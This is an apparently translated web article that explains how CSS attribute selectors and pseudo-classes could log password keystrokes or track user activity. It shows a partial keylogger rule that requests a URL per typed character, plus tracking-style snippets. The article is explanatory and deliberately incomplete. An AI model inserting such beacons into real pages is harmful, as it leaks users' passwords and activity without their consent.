Pfui: What you could do with CSS, but shouldn’t

Pfui: What you could do with CSS, but shouldn't

Would you have known? A functioning keylogger or discrete user tracking can be implemented quite easily using CSS. The complicity takes over a bit of Javascript.

The hashtag #DevDiscuss on Twitter sometimes brings up bizarre topics. Here Aaron Powell shows you how a keylogger or user tracking could be built relatively easily with CSS. A bit of Javascript is also required to process the input, but that is part of the developer triad in today’s web, alongside HTML and CSS.

A CSS keylogger that nobody expects

Keyloggers are the little programs that are able to tap each of your keystrokes, write it to a text file and send it to the Grinch (or another villain). Trojans like to bring such a “tool” with them. But it is also much easier. The web developer you “trust” could have quickly built a keylogger with CSS – better, you know the risks.

We have not completely mapped the required code so that no one can build a logger simply by copy-and-paste. Powell suggests the following CSS code:

input[type="password"][value$="a"] {
background-image: url("https://localhost:3000/a");

The code looks leaner than it actually is, because it essentially works on foot. The theory behind it says that whenever a user presses the letter A within the password field, a request is sent to the specified URL. This triggers an entry in a server log that can ultimately be read out.

To do this, the above line of code would have to be repeated for every possible character that could appear in a password field. If that were the case, a person with log access would be able to read out the typed password based on the chronology.

The identical code has been in this article by the developer Bramus Van Damme for a long time. Van Damme comes to the conclusion, however, that there is no need to worry because ultimately the retrieval of passwords, for example, does not work reliably. After all, users could still move around the field with a mouse and keyboard, which would mess up the chronology.

To do this, Powell brings a Javascript into play that is supposed to deliver exactly the level of reliability that Van Damme denies the solution. However, this does not contradict Van Damme’s assessment insofar as he only objects to calling the technology a “pure CSS keylogger”.

Reading out via Javascript is certainly not something that a website developer would knowingly and willingly implement, but it could quite easily be slipped into a compromised framework or a WordPress theme. The way some frameworks work also plays a beneficial role here. The popular React framework, for example, synchronizes the input with each new value, which makes logging quite safe.

By the way, you can find and understand a proof-of-concept as a Chrome extension here on Github. We’ll save the Javascript at this point.

User tracking with CSS pseudo-classes

User tracking can be set up according to the same principle. The code could look something like this:

#demo-02 p:hover {
background-color: #f0a;

#demo-02 input:focus {
background-color: #bada55;


#demo-02 button:active {
color: #ff0000;



Instead of the value background-color, a tracking url could be accessed again via background-image. The starting point for tracking are the pseudo classes used in the example: hover,: focus and: active. Triggering the state changes is enough to detect user activity.

We could now use this to recognize in a form, for example, how the user moves through the form, how long he lingers on individual fields, how the navigation proceeds or whether answers in checkboxes are subsequently changed. Even outside of forms, we can determine where the user is at the moment – after all, it was enough: hover already.

In the middle of September of this year, the developer Lars Wikman disclosed his considerations under the title “Is this evil?” To use CSS-based user tracking as a substitute for the use of analytics software. At least that way he would be able to keep the automated traffic out of his logs. Ultimately, Wikman decided against it because he believes that a browser shouldn’t be used to do things that it wasn’t invented to do.

The Australian Aaron Powell takes a more relaxed view. He is the contact person for developers and as such an employee of the software manufacturer Microsoft. As an active front-end and open source developer, he works around the CMS Umbraco. Web developers may be familiar with This is a service for testing how a website handles different HTTP codes. These are simply given to the URL.

Powell said he had been thinking about publishing a few “unusual” CSS applications for a long time. The hashtag #DevDiscuss on Twitter ultimately gave the impetus.

how do you see it? Where should the line be drawn between what can be done and what should be done?

Suitable for this: Tailwind CSS: How the by-product of a side team project became a multi-million dollar business

You might be interested in that too

Ready to see us in action:

More To Explore
Enable registration in settings - general
Have any project in mind?

Contact us: